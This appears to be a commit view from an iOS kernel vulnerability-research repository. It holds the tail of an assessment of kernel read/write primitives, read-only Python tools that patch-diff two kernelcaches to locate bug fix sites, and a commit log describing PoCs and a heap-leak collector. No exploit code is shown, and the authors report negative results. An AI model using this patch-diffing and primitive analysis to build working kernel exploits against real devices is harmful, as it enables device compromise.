 The C twin builds the overlong-name GPT and walks the name field the way 27.0 does.
 It proves the scan width (72 B against a 28-B field) but the bytes come from the
 image, not from the kernel heap. Treat it as a seed/oracle model. The real read
 would have to run through the storage kext on a mounted image; that is not attempted
 on the host.
 ## What was deliberately not done
 - No attempt to fire 112705 or 65385 on the host: both can panic the kernel, and a
  panic is not evidence of control.
 - No blind write into a guessed kernel address: with KASLR and PAC in play, a wrong
  guess is indistinguishable from a bug that does not work.
 - No claim that 112507 is exploitable: a race receipt is not a UAF primitive until
  the free/reclaim/stale-dereference sequence is observed.
 ## Bottom line
 Arbitrary kernel R/W without a panic is **not achievable from these six entries as
 shipped**, and the one entry that had a theoretical UAF path (112507) is now closed
 by device evidence: notification registration is refused, so the request table is
 never armed. The maximum safe capability the lab demonstrates is:
 - a repeatable kernel heap **leak** with pointer classification (113910);
 - a read-width model for the GPT scan (112554);
 - a race-window harness with receipts (112507);
 - honest negatives for the write entries that never reach a controllable primitive.
 The next real step is not more code in this repository; it is a device session with
 kernel symbols, a reclaim strategy for 112507, and a stop condition for every write.
@@ -0,0 +1,16 @@
 # IPSW kernel-diff toolkit
 Read-only helpers used for the 27.0.1 → 27.2 kernel comparison in
 [`docs/IOS27.2-KERNEL-DIFF.md`](../../docs/IOS27.2-KERNEL-DIFF.md).
 | Script | Purpose |
 |---|---|
 | `remote_ipsw.py` | HTTP-Range ZIP reader: list/extract a member without downloading the whole IPSW |
 | `ipswlib.py` | IM4P/LZFSE decode, Mach-O/fileset parse, cstring extraction |
 | `extract_kext.py` | dump one fileset entry as a standalone Mach-O (linkedit offsets rebased) |
 | `disasm_diff.py` | normalized `llvm-objdump` instruction diff for two kexts |
 | `diff_kernel.py` | kext-level diff (bundle id, size, strings, function hashes) |
 | `map_advisory.py` | advisory CVE list → component/binary candidate table |
 Requirements: Python 3, `pip install lzfse macholib`, Xcode command line tools
 (`llvm-objdump`). Nothing writes to a device.
@@ -0,0 +1,163 @@
 #!/usr/bin/env python3
 """Diff two prelinked kernelcaches (27.0.1 vs 27.2) at kext and function level.
 Usage:
  python3 diff_kernel.py <a.ipsw> <a-member> <b.ipsw> <b-member> [outdir]
 Outputs:
  kexts.json        per-kext uuid/text hash/bundle id for both builds
  changed.txt       human-readable summary
  strings-<id>.txt  string adds/removes for changed kexts
 """
 import hashlib
 import json
 import os
 import re
 import sys
 import zipfile
 sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
 import ipswlib
 def ascii_strings(data, minlen=6):
    out = []
    cur = bytearray()
    for b in data:
        if 32 <= b < 127:
            cur.append(b)
        else:
            if len(cur) >= minlen:
                out.append(cur.decode("ascii", "ignore"))
            cur = bytearray()
    if len(cur) >= minlen:
        out.append(cur.decode("ascii", "ignore"))
    return out
 BID_RE = re.compile(r"^com\.apple\.[A-Za-z0-9_.-]{4,}$")
 def bundle_id(m):
    """Heuristic: the kext identifier is the longest com.apple.* string in __TEXT."""
    cands = [s for s in ascii_strings(m.text_bytes()) if BID_RE.match(s)]
    cands.sort(key=lambda s: (-s.count("."), -len(s)))
    return cands[0] if cands else None
 def func_hashes(m):
    starts = m.function_offsets()
    text = m.text_bytes()
    t = m.text_segment()
    out = []
    for i, addr in enumerate(starts):
        end = starts[i + 1] if i + 1 < len(starts) else t["vmaddr"] + t["vmsize"]
        off = m.vm_to_file(addr)
        endoff = m.vm_to_file(end)
        if off is None or endoff is None or endoff < off:
            continue
        chunk = m.data[off:endoff]
        out.append((addr, hashlib.sha256(chunk).hexdigest()[:16], len(chunk)))
    return out
 def load(ipsw, member):
    data = ipswlib.read_kernelcache(ipsw, member)
    ms = ipswlib.scan_machos(data)
    rows = []
    for m in ms:
        rows.append({
            "uuid": m.uuid,
            "cpu": ipswlib.CPU_NAMES.get(m.cputype, hex(m.cputype)),
            "bid": bundle_id(m),
            "text_sha": hashlib.sha256(m.text_bytes()).hexdigest()[:16],
            "text_size": len(m.text_bytes()),
            "nfuncs": len(m.function_offsets()) if m.function_starts else 0,
            "_m": m,
        })
    return data, rows
 def main():
    a_ipsw, a_mem, b_ipsw, b_mem = sys.argv[1:5]
    outdir = sys.argv[5] if len(sys.argv) > 5 else "work/kernel-diff"
    os.makedirs(outdir, exist_ok=True)
    print("== extracting", a_mem)
    a, ra = load(a_ipsw, a_mem)
    print("== extracting", b_mem)
    b, rb = load(b_ipsw, b_mem)
    def index(rows):
        by_bid = {}
        no_bid = []
        for r in rows:
            if r["bid"]:
                by_bid.setdefault(r["bid"], []).append(r)
            else:
                no_bid.append(r)
        return by_bid, no_bid
    ia, na = index(ra)
    ib, nb = index(rb)
    changed, added, removed, same = [], [], [], []
    for bid in sorted(set(ia) | set(ib)):
        la = ia.get(bid, [])
        lb = ib.get(bid, [])
        if la and lb:
            # pair in order; usually one Mach-O per kext
            for x, y in zip(la, lb):
                if x["uuid"] == y["uuid"] and x["text_sha"] == y["text_sha"]:
                    same.append(bid)
                else:
                    changed.append((bid, x, y))
        elif la:
            removed += [bid]
        else:
            added += [bid]
    lines = []
    lines.append(f"kexts: a={len(ra)} b={len(rb)} same={len(same)} changed={len(changed)} added={len(added)} removed={len(removed)}")
    lines.append("")
    for bid, x, y in changed:
        lines.append(f"CHANGED {bid}: uuid {x['uuid']} -> {y['uuid']}  text {x['text_size']} -> {y['text_size']}  funcs {x['nfuncs']} -> {y['nfuncs']}")
    for bid in added:
        lines.append(f"ADDED   {bid}")
    for bid in removed:
        lines.append(f"REMOVED {bid}")
    open(os.path.join(outdir, "changed.txt"), "w").write("\n".join(lines) + "\n")
    print("\n".join(lines[:80]))
    # string + function diff for changed kexts
    for bid, x, y in changed:
        ma = x["_m"]
        mb = y["_m"]
        sa = set(ascii_strings(ma.text_bytes(), 8))
        sb = set(ascii_strings(mb.text_bytes(), 8))
        new = sorted(sb - sa)
        gone = sorted(sa - sb)
        safe = bid.replace("/", "_")
        with open(os.path.join(outdir, f"strings-{safe}.txt"), "w") as f:
            f.write(f"# {bid}\n## new strings ({len(new)})\n")
            for s in new[:400]:
                f.write(s + "\n")
            f.write(f"\n## removed strings ({len(gone)})\n")
            for s in gone[:200]:
                f.write(s + "\n")
        fa = func_hashes(ma)
        fb = func_hashes(mb)
        changed_funcs = sum(1 for p, q in zip(fa, fb) if p[1] != q[1])
        lines.append(f"  {bid}: functions {len(fa)} -> {len(fb)}, hash-changed in common prefix {changed_funcs}")
    open(os.path.join(outdir, "changed.txt"), "w").write("\n".join(lines) + "\n")
    json.dump([
        {"bid": bid, "a": {k: v for k, v in x.items() if not k.startswith("_")},
         "b": {k: v for k, v in y.items() if not k.startswith("_")}}
        for bid, x, y in changed
    ], open(os.path.join(outdir, "kexts-changed.json"), "w"), indent=1)
    print("wrote", outdir)
 if __name__ == "__main__":
    main()
@@ -0,0 +1,54 @@
 #!/usr/bin/env python3
 """Disassembly diff for two standalone Mach-O kexts (same bundle id, two builds).
 Usage: python3 disasm_diff.py <a.macho> <b.macho> [max_lines]
 Normalizes branch targets and absolute addresses so the diff shows real
 instruction changes rather than layout noise.
 """
 import difflib
 import re
 import subprocess
 import sys
 ADDR = re.compile(r"\b[0-9a-f]{8,16}\b")
 def disasm(path):
    p = subprocess.run(["xcrun", "llvm-objdump", "--disassemble", path],
                       capture_output=True, text=True)
    lines = []
    for line in p.stdout.splitlines():
        m = re.match(r"^\s*([0-9a-f]{8,16}):\s+([0-9a-f ]+?)\s{2,}(\S.*)$", line)
        if not m:
            continue
        ins = m.group(3).strip()
        ins = re.sub(r"0x[0-9a-f]{6,}", "0xADDR", ins)
        ins = re.sub(r"#0x[0-9a-f]{4,}", "#0xIMM", ins)
        lines.append(ins)
    return lines
 def main():
    a, b = sys.argv[1], sys.argv[2]
    limit = int(sys.argv[3]) if len(sys.argv) > 3 else 400
    la, lb = disasm(a), disasm(b)
    print(f"# {a}: {len(la)} insns")
    print(f"# {b}: {len(lb)} insns")
    sm = difflib.SequenceMatcher(a=la, b=lb, autojunk=False)
    shown = 0
    for tag, i1, i2, j1, j2 in sm.get_opcodes():
        if tag == "equal":
            continue
        if shown >= limit:
            print("... truncated")
            break
        print(f"\n## {tag} a[{i1}:{i2}] b[{j1}:{j2}]")
        for x in la[i1:i2][:14]:
            print("  - " + x)
        for x in lb[j1:j2][:14]:
            print("  + " + x)
        shown += 1
 if __name__ == "__main__":
    main()
@@ -0,0 +1,67 @@
 #!/usr/bin/env python3
 """Extract one fileset entry (kext) from a kernelcache into a standalone Mach-O.
 Usage: python3 extract_kext.py <kernel> <entries.json> <bundle-id> <out.macho>
 """
 import json
 import os
 import struct
 import sys
 sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
 import ipswlib
 LC_SEGMENT_64 = 0x19
 def extract(data, off, out):
    m = ipswlib.MachO(data, off)
    end = 32 + m.sizeofcmds
    for s in m.segments:
        base = s["fileoff"] if s["fileoff"] >= off else off + s["fileoff"]
        end = max(end, base + s["filesize"])
    blob = bytearray(data[off:end])
    o = 32
    for _ in range(m.ncmds):
        cmd, cmdsize = struct.unpack_from("<II", blob, o)
        if cmd == LC_SEGMENT_64:
            # segment_command_64: cmd8 cmdsize8 segname16 vmaddr8 vmsize8 fileoff8 ...
            fileoff = struct.unpack_from("<Q", blob, o + 40)[0]
            if fileoff >= off:
                struct.pack_into("<Q", blob, o + 40, fileoff - off)
            nsects = struct.unpack_from("<I", blob, o + 64)[0]
            so = o + 72
            for _s in range(nsects):
                soff = struct.unpack_from("<I", blob, so + 48)[0]
                if soff >= off:
                    struct.pack_into("<I", blob, so + 48, soff - off)
                so += 80
        elif cmd == 0x2:  # LC_SYMTAB
            for f in (8, 16):
                v = struct.unpack_from("<I", blob, o + f)[0]
                if v >= off: struct.pack_into("<I", blob, o + f, v - off)
        elif cmd == 0xb:  # LC_DYSYMTAB
            for f in (32, 40, 48, 56, 64, 72):
                v = struct.unpack_from("<I", blob, o + f)[0]
                if v >= off: struct.pack_into("<I", blob, o + f, v - off)
        elif cmd in (0x22, 0x80000022):  # LC_DYLD_INFO / _ONLY
            for f in (8, 16, 24, 32, 40):
                v = struct.unpack_from("<I", blob, o + f)[0]
                if v >= off: struct.pack_into("<I", blob, o + f, v - off)
        elif cmd in (0x26, 0x1d, 0x80000033, 0x80000034):  # FUNCTION_STARTS, CODE_SIG, EXPORTS_TRIE, CHAINED_FIXUPS
            v = struct.unpack_from("<I", blob, o + 8)[0]
            if v >= off: struct.pack_into("<I", blob, o + 8, v - off)
        o += cmdsize
    with open(out, "wb") as f:
        f.write(blob)
    return len(blob)
 if __name__ == "__main__":
    kernel, entries, bid, out = sys.argv[1:5]
    data = open(kernel, "rb").read()
    table = {n: o for n, o, v in json.load(open(entries))}
    n = extract(data, table[bid], out)
    print("wrote", out, n, "bytes")
@@ -0,0 +1,245 @@
 #!/usr/bin/env python3
 """Minimal IPSW / IM4P / Mach-O toolkit for the 27.0.1 vs 27.2 kernel diff.
 No external ipsw binary is available on this host, so this implements the pieces
 needed for the kernelcache comparison:
  * IM4P container parse + LZFSE payload decode
  * embedded Mach-O (kext) scan inside a prelinked kernelcache
  * UUID / segment / function-start extraction
  * function-level hashing and a two-build diff
 Only reads files; nothing here writes to a device.
 """
 import hashlib
 import os
 import struct
 import sys
 import zipfile
 try:
    import lzfse
 except ImportError:
    lzfse = None
 # ── IM4P ────────────────────────────────────────────────────────────────────
 def im4p_payload(data: bytes) -> bytes:
    if data[:4] != b"IM4P":
        return data
    # magic(4) type(4) header_len(4 BE) header payload
    hlen = struct.unpack(">I", data[8:12])[0]
    return data[12 + hlen:]
 def decompress(payload: bytes) -> bytes:
    # LZFSE streams start with bvx2 / bvx- / bvx$
    for magic in (b"bvx2", b"bvx-", b"bvx$"):
        i = payload.find(magic)
        if i >= 0:
            if lzfse is None:
                raise RuntimeError("lzfse module missing")
            return lzfse.decompress(payload[i:])
    if payload[:2] == b"\x1f\x8b":
        import gzip
        return gzip.decompress(payload)
    return payload
 def read_kernelcache(ipsw_path: str, member: str) -> bytes:
    with zipfile.ZipFile(ipsw_path) as z:
        raw = z.read(member)
    return decompress(im4p_payload(raw))
 # ── Mach-O ──────────────────────────────────────────────────────────────────
 MH_MAGIC_64 = 0xFEEDFACF
 LC_SEGMENT_64 = 0x19
 LC_SYMTAB = 0x2
 LC_UUID = 0x1B
 LC_FUNCTION_STARTS = 0x26
 LC_UNIXTHREAD = 0x5
 CPU_NAMES = {0x0100000C: "arm64", 0x0100000C | 0x02000000: "arm64e"}
 class MachO:
    def __init__(self, data: bytes, off: int = 0):
        self.data = data
        self.off = off
        magic, cputype, cpusub, filetype, ncmds, sizeofcmds, flags, _ = struct.unpack_from(
            "<IiiIIIII", data, off)
        if magic != MH_MAGIC_64:
            raise ValueError("not a 64-bit Mach-O")
        self.magic = magic
        self.cputype = cputype
        self.cpusub = cpusub
        self.filetype = filetype
        self.ncmds = ncmds
        self.sizeofcmds = sizeofcmds
        self.flags = flags
        self.segments = []
        self.uuid = None
        self.function_starts = None
        self.symtab = None
        self._parse_commands()
    def _parse_commands(self):
        o = self.off + 32
        for _ in range(self.ncmds):
            cmd, cmdsize = struct.unpack_from("<II", self.data, o)
            if cmdsize < 8:
                break
            if cmd == LC_SEGMENT_64:
                name = self.data[o + 8:o + 24].split(b"\0")[0].decode("ascii", "replace")
                vmaddr, vmsize, fileoff, filesize = struct.unpack_from("<QQQQ", self.data, o + 24)
                maxprot, initprot, nsects, flags = struct.unpack_from("<IIII", self.data, o + 56)
                seg = {
                    "name": name, "vmaddr": vmaddr, "vmsize": vmsize,
                    "fileoff": fileoff, "filesize": filesize,
                    "maxprot": maxprot, "initprot": initprot, "nsects": nsects,
                    "sections": [],
                }
                so = o + 72
                for _s in range(nsects):
                    sect = self.data[so:so + 16].split(b"\0")[0].decode("ascii", "replace")
                    segn = self.data[so + 16:so + 32].split(b"\0")[0].decode("ascii", "replace")
                    addr, size, offset = struct.unpack_from("<QQI", self.data, so + 32)
                    seg["sections"].append({"seg": segn, "sect": sect, "addr": addr,
                                            "size": size, "offset": offset})
                    so += 80
                self.segments.append(seg)
            elif cmd == LC_UUID:
                self.uuid = self.data[o + 8:o + 24].hex()
            elif cmd == LC_FUNCTION_STARTS:
                dataoff, datasize = struct.unpack_from("<II", self.data, o + 8)
                self.function_starts = (dataoff, datasize)
            elif cmd == LC_SYMTAB:
                symoff, nsyms, stroff, strsize = struct.unpack_from("<IIII", self.data, o + 8)
                self.symtab = (symoff, nsyms, stroff, strsize)
            o += cmdsize
    def text_segment(self):
        for s in self.segments:
            if s["name"] == "__TEXT_EXEC":
                return s
        for s in self.segments:
            if s["name"] == "__TEXT":
                return s
        return None
    def function_offsets(self):
        """Absolute file offsets of function starts, decoded from LC_FUNCTION_STARTS."""
        if not self.function_starts:
            return []
        dataoff, datasize = self.function_starts
        base = self.off + dataoff
        end = base + datasize
        text = self.text_segment()
        if text is None:
            return []
        # LC_FUNCTION_STARTS dataoff is relative to the Mach-O header (linkedit).
        addr = text["vmaddr"]
        out = []
        p = base
        while p < end and self.data[p] != 0:
            delta = 0
            shift = 0
            while True:
                b = self.data[p]
                p += 1
                delta |= (b & 0x7F) << shift
                shift += 7
                if not (b & 0x80):
                    break
            addr += delta
            out.append(addr)
        return out
    def _file_base(self, s):
        # In a MH_FILESET, segment fileoffs are absolute in the container; in a
        # standalone Mach-O they are relative to the header (which sits at self.off).
        return s["fileoff"] if s["fileoff"] >= self.off else self.off + s["fileoff"]
    def vm_to_file(self, addr, seg=None):
        for s in self.segments:
            if s["vmaddr"] <= addr < s["vmaddr"] + s["vmsize"]:
                return self._file_base(s) + (addr - s["vmaddr"])
        return None
    def cstring_bytes(self):
        out = bytearray()
        for seg in self.segments:
            for sec in seg.get("sections", []):
                if sec["sect"] in ("__cstring", "__oslogstring"):
                    base = sec["offset"] if sec["offset"] >= self.off else self.off + sec["offset"]
                    out += self.data[base: base + sec["size"]]
                    out += b"\0"
        return bytes(out)
    def text_bytes(self):
        t = self.text_segment()
        if not t:
            return b""
        base = self._file_base(t)
        return self.data[base: base + t["filesize"]]
 def scan_machos(data: bytes, limit=20000):
    """Scan a prelinked kernelcache for embedded Mach-O headers (page aligned)."""
    out = []
    off = 0
    n = len(data)
    while off + 32 <= n and len(out) < limit:
        if data[off:off + 4] == b"\xcf\xfa\xed\xfe":
            try:
                m = MachO(data, off)
                out.append(m)
            except Exception:
                pass
        off += 0x1000  # kexts are page aligned
    return out
 def macho_summary(m: MachO) -> dict:
    text = m.text_bytes()
    return {
        "off": m.off,
        "cpu": CPU_NAMES.get(m.cputype, hex(m.cputype)),
        "sub": m.cpusub,
        "filetype": m.filetype,
        "uuid": m.uuid,
        "text_size": len(text),
        "text_sha256": hashlib.sha256(text).hexdigest()[:16],
        "segments": [(s["name"], s["vmsize"]) for s in m.segments if s["name"].startswith("__")],
        "nfuncs": len(m.function_offsets()) if m.function_starts else 0,
    }
 if __name__ == "__main__":
    cmd = sys.argv[1] if len(sys.argv) > 1 else ""
    if cmd == "list":
        with zipfile.ZipFile(sys.argv[2]) as z:
            for i in z.infolist():
                if any(k in i.filename for k in ("kernelcache", "dyld_shared_cache", "BuildManifest")):
                    print(i.filename, i.file_size)
    elif cmd == "kernel":
        data = read_kernelcache(sys.argv[2], sys.argv[3])
        print("kernelcache bytes", len(data), "sha256", hashlib.sha256(data).hexdigest()[:16])
        ms = scan_machos(data)
        print("embedded Mach-Os:", len(ms))
        for m in ms[:10]:
            print(macho_summary(m))
    else:
        print("usage: ipswlib.py list <ipsw> | kernel <ipsw> <member>")
 def dump_macho(m: MachO, path: str) -> int:
    """Write the Mach-O image (header through the last segment's file extent)."""
    end = 32 + m.sizeofcmds
    for s in m.segments:
        end = max(end, s["fileoff"] + s["filesize"])
    blob = m.data[m.off:m.off + end]
    with open(path, "wb") as f:
        f.write(blob)
    return len(blob)
@@ -0,0 +1,99 @@
 #!/usr/bin/env python3
 """Map the iOS 27.2 advisory entries to binary candidates and emit a report skeleton.
 Usage: python3 map_advisory.py <advisory.json> <out.md>
 The mapping is a heuristic name table; it is refined later by the actual kext and
 dylib inventory extracted from the IPSWs.
 """
 import json
 import sys
 # component -> (kind, candidate binary / kext)
 MAP = {
    "Kernel": ("kernel", "kernelcache core (pmap/ipc/vm/bsd)"),
    "AVEVideoEncoder": ("kernel+user", "com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin"),
    "Apple Neural Engine": ("kernel+user", "AppleH16ANEInterface / AppleNeuralEngine.framework"),
    "IOKit": ("kernel+user", "IOKit.framework / IOKit kexts"),
    "IOHIDFamily": ("kernel", "com.apple.iokit.IOHIDFamily"),
    "IOStorageFamily": ("kernel", "com.apple.iokit.IOStorageFamily"),
    "IOMobileFrameBuffer": ("kernel", "com.apple.driver.IOMobileFrameBuffer"),
    "IOSurface": ("kernel+user", "IOSurface.framework / IOSurface kext"),
    "HFS": ("kernel", "com.apple.filesystems.hfs.kext"),
    "Compression": ("user", "libcompression.dylib"),
    "CoreMedia": ("user", "CoreMedia.framework / mediaplaybackd"),
    "CoreGraphics": ("user", "CoreGraphics.framework"),
    "CoreText": ("user", "CoreText.framework"),
    "CoreAudio": ("user", "CoreAudio.framework / AudioToolbox"),
    "Audio": ("user", "AudioToolbox / AudioCodecs"),
    "ImageIO": ("user", "ImageIO.framework"),
    "FontParser": ("user", "FontParser.framework"),
    "libarchive": ("user", "libarchive.2.dylib"),
    "LinkPresentation": ("user", "LinkPresentation.framework"),
    "WebKit": ("user", "JavaScriptCore / WebKit / WebCore"),
    "WebKit Canvas": ("user", "WebCore (canvas)"),
    "WebKit JavaScript Bindings": ("user", "JavaScriptCore bindings"),
    "WebKit Process Model": ("user", "WebKit process model"),
    "WebRTC": ("user", "WebRTC.framework"),
    "Security": ("user", "Security.framework"),
    "Wi-Fi": ("user+kernel", "WiFi frameworks / IO80211 kext"),
    "USB": ("kernel", "USB kexts"),
    "Power Management": ("kernel", "com.apple.driver.AppleARMPlatform / PM kexts"),
    "Bluetooth": ("user+kernel", "Bluetooth.framework / IOBluetooth kexts"),
    "mDNSResponder": ("user", "mDNSResponder"),
    "Thread": ("user", "ThreadNetwork.framework"),
    "MobileGestalt": ("user", "MobileGestalt"),
    "SpringBoard": ("user", "SpringBoard"),
    "Messages": ("user", "Messages / IMSharedUtilities"),
    "Mail": ("user", "Mail"),
    "Maps": ("user", "Maps"),
    "Photos Storage": ("user", "Photos"),
    "Spotlight": ("user", "Spotlight"),
    "Siri": ("user", "Siri"),
    "Shortcuts": ("user", "Shortcuts"),
    "HomeKit": ("user", "HomeKit"),
    "CloudKit": ("user", "CloudKit"),
    "Contacts": ("user", "Contacts"),
    "Calendar": ("user", "CalendarFoundation"),
    "App Store": ("user", "AppStore"),
    "App Intents": ("user", "AppIntents"),
    "Apple Intelligence": ("user", "AppleIntelligence"),
    "AccessorySetupKit": ("user", "AccessorySetupKit"),
    "Accounts": ("user", "Accounts"),
    "FileProvider": ("user", "FileProvider"),
    "Files": ("user", "Files"),
    "Heimdal": ("user", "Heimdal (Kerberos)"),
    "MediaAnalysis": ("user", "MediaAnalysis"),
    "MediaRemote": ("user", "MediaRemote"),
    "Quick Look": ("user", "QuickLook"),
    "RealityKit": ("user", "RealityKit"),
    "ReplayKit": ("user", "ReplayKit"),
    "Safety Check": ("user", "SafetyCheck"),
    "SceneKit": ("user", "SceneKit"),
    "Screen Time": ("user", "ScreenTime"),
    "SwiftUI": ("user", "SwiftUI"),
    "System Preferences": ("user", "SystemPreferences"),
    "TextKit": ("user", "TextKit"),
    "Accelerate Framework": ("user", "Accelerate"),
    "ColorSync": ("user", "ColorSync"),
 }
 def main():
    rows = json.load(open(sys.argv[1]))
    out = sys.argv[2]
    lines = ["# iOS 27.2 advisory — component → binary map", ""]
    lines.append(f"Entries: {len(rows)}  Components: {len(set(r['component'] for r in rows))}")
    lines.append("")
    lines.append("| CVE | Component | Impact | Binary candidate |")
    lines.append("|---|---|---|---|")
    for r in sorted(rows, key=lambda x: (x["component"], x["cve"])):
        kind, cand = MAP.get(r["component"], ("unknown", "?"))
        lines.append(f"| {r['cve']} | {r['component']} | {r['impact'][:70]} | {cand} |")
    open(out, "w").write("\n".join(lines) + "\n")
    print("wrote", out, len(rows), "entries")
    missing = sorted(set(r["component"] for r in rows) - set(MAP))
    print("unmapped components:", missing)
 if __name__ == "__main__":
    main()
@@ -0,0 +1,95 @@
 #!/usr/bin/env python3
 """Remote ZIP reader over HTTP Range, so the kernelcache can be inspected before the
 full IPSW finishes downloading.
 Usage:
  python3 remote_ipsw.py list <url>
  python3 remote_ipsw.py extract <url> <member-substring> <out>
 """
 import io
 import sys
 import urllib.request
 import zipfile
 class HTTPRangeFile(io.RawIOBase):
    def __init__(self, url, block=4 << 20):
        self.url = url
        self.pos = 0
        self.block = block
        self.cache = {}
        req = urllib.request.Request(url, method="HEAD")
        with urllib.request.urlopen(req) as r:
            self.size = int(r.headers["Content-Length"])
            self.ranges = r.headers.get("Accept-Ranges", "").lower() == "bytes"
    def seekable(self): return True
    def readable(self): return True
    def tell(self): return self.pos
    def seek(self, off, whence=0):
        if whence == 0: self.pos = off
        elif whence == 1: self.pos += off
        else: self.pos = self.size + off
        return self.pos
    def _fetch(self, start, end):
        key = (start // self.block) * self.block
        if key in self.cache:
            return self.cache[key]
        stop = min(self.size - 1, key + self.block - 1)
        req = urllib.request.Request(self.url, headers={"Range": f"bytes={key}-{stop}"})
        with urllib.request.urlopen(req) as r:
            data = r.read()
        self.cache[key] = data
        if len(self.cache) > 8:
            self.cache.pop(next(iter(self.cache)))
        return data
    def read(self, n=-1):
        if n is None or n < 0:
            n = self.size - self.pos
        if n == 0 or self.pos >= self.size:
            return b""
        out = bytearray()
        while n > 0 and self.pos < self.size:
            block = self._fetch(self.pos, self.pos)
            base = (self.pos // self.block) * self.block
            off = self.pos - base
            take = min(n, len(block) - off)
            if take <= 0:
                break
            out += block[off:off + take]
            self.pos += take
            n -= take
        return bytes(out)
 def main():
    cmd, url = sys.argv[1], sys.argv[2]
    f = HTTPRangeFile(url)
    print("size", f.size, "range", f.ranges)
    z = zipfile.ZipFile(f)
    if cmd == "list":
        for i in z.infolist():
            if any(k in i.filename for k in ("kernelcache", "dyld_shared_cache", "BuildManifest")):
                print(i.filename, i.file_size, i.compress_type)
    elif cmd == "extract":
        pat, out = sys.argv[3], sys.argv[4]
        names = [i.filename for i in z.infolist() if pat in i.filename and not i.is_dir()]
        print("matches:", names[:10], "count", len(names))
        if not names:
            return
        name = names[0]
        with z.open(name) as src, open(out, "wb") as dst:
            while True:
                chunk = src.read(8 << 20)
                if not chunk: break
                dst.write(chunk)
        print("wrote", out)
    else:
        print("usage: list|extract")
 if __name__ == "__main__":
    main()
Author	SHA1	Message	Date
JBJF	3ac5108928	iOS 27.2 kernel differential + NTL fix-boundary sweep - docs/IOS27.2-KERNEL-DIFF.md: 27.0.1 vs 27.2 (iPhone19,7), 162 advisory CVEs, 93 size-changed kexts; confirmed fix sites for 112705 (NTL 0..7 assertion), 113910 (produced vs expected chunk bytes), 112507 (ipr/table NULL checks in ipc_misc.c); __DATA_SPTM byte-identical, no PPL/SPTM/MIE code change or bypass fix - tools/ipsw/: Range-based IPSW reader, IM4P/LZFSE + fileset parser, kext extractor, llvm-objdump diff, advisory mapper - CVE-2026-112705: --sweep mode (0..12, no frame) in both POCs; app module now sweeps 0/1/7/8/64/1024/16462/16463 - app 2.3 build 7	2026-10-31 17:09:48 +08:00
JBJF	030df9a8b1	fix: register the arrivals group in the lab list Catalog.groups is a hard-coded list and did not include the arrivals catalog, so the five new modules (112705 probe/fire, 112621 probe/fire, 84636) and kern.ipc.lifecycle were counted in Catalog.all but invisible in the POCs tab. Add a localized 新收录 / New arrivals group at the top; simulator screenshot confirms all six entries render. Build 6.	2026-10-31 16:06:28 +08:00
JBJF	6f4ed67c38	112507 reachability closed: notification registration refused (-300) - New kern.ipc.lifecycle module: dead-name registration, dead-name send, notification receive, name reuse — single-threaded, safe on device - Device receipt (iPhone19,7, iOS 27.0.1, ad-hoc signed): request DEAD_NAME returns -300 (MIG_TYPE_ERROR); send -> MACH_SEND_INVALID_DEST; receive times out; 0/12,288 registrations armed in kern.ipc - macOS 27 sweep: 13 notification-type/right combinations, all -300 - kern.ipc now counts armed registrations and retracts the old 'survived' verdict when armed == 0; the request table is never armed - docs/KERNEL-RW-ASSESSMENT.md: 112507 marked closed for this app - app 2.2 build 5; 57 modules	2026-10-31 15:59:20 +08:00
JBJF	c30aadf9bb	kernel R/W assessment for the high/critical entries - docs/KERNEL-RW-ASSESSMENT.md: per-primitive verdict. None of the six kernel-reachable bugs supplies both address and value control; the chain requirements (KASLR, grooming, reclaim, gadget, PAC/PPL) are listed per entry - CVE-2026-113910.c: leak collector — 8 chunk configs x --loop, canonical pointer classification (kernel-text / kernel-data / kernel-other), --keep raw dump, --verbose; candidates are printed, never dereferenced - 112705 / 65385 / 112696: explicit primitive-limit headers (DoS, fixed-offset write without leak, honest negative); no blind writes - README: link the assessment and the new 113910 receipt (0 candidates, 16 runs)	2026-10-31 15:37:58 +08:00